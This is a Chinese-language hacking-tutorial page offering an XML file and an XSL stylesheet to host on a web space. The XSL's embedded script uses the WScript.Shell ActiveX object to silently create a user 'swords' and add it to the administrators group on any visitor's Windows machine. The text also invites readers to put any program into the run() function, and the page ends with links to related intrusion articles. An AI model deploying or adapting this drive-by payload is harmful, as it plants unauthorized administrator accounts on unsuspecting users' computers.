利用xml+xsl给客户机添加超级管理帐户!

所属分类: 实用技巧 / 漏洞研究 阅读数: 319
收藏 0 赞 0 分享

用法:把swords.xml和swords.xsl放在一个普通空间,相信很少人会注意xml的安全性吧,嘎嘎,只要把你想运行的程序添加到run() 即可,默认支持js和vbs.
这个程序加了一个用户为 swords,密码为est的超级管理员账号。

swords.xml

<?xml version="1.0" encoding="GB2312"?>
<?xml-stylesheet type="text/xsl" href="swords.xsl"?>
<name>I am swords,I am admin!</name>


swords.xsl

<?xml version="1.0" encoding="gb2312"?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl">
<xsl:template match="/">
<html>
<body>
<xsl:value-of select="name" />
<xsl:script>
function run()
{
var wsh;
var wsh = new ActiveXObject("WScript.Shell");
wsh.run( "net user swords est /add",0);
wsh.run( "net localgroup administrators swords /add",0);
wsh.run( "cmd.exe /c echo test!");
}
</xsl:script>
<xsl:eval>run()</xsl:eval>
</body>
</html>
</xsl:template>
</xsl:stylesheet>

更多精彩内容其他人还在看

IDS入侵特征库创建实例解析

IDS入侵特征库创建实例解析
收藏 0 赞 0 分享

Access的跨库查询 (图)

Access的跨库查询 (图)
收藏 0 赞 0 分享

针对ACCESS漏洞又一发现

针对ACCESS漏洞又一发现
收藏 0 赞 0 分享

入侵之中杀防火墙进程的代码

入侵之中杀防火墙进程的代码
收藏 0 赞 0 分享

linux的病毒发展史及分类

linux的病毒发展史及分类
收藏 0 赞 0 分享

特络伊木马如何利用文件关联和设置名

特络伊木马如何利用文件关联和设置名
收藏 0 赞 0 分享

对RPC DCOM 蠕虫的设想

对RPC DCOM 蠕虫的设想
收藏 0 赞 0 分享

shell.application对象的漏洞描述

shell.application对象的漏洞描述
收藏 0 赞 0 分享

QQ尾巴病毒核心技术的实现

QQ尾巴病毒核心技术的实现
收藏 0 赞 0 分享

游戏外挂分析

游戏外挂分析
收藏 0 赞 0 分享
查看更多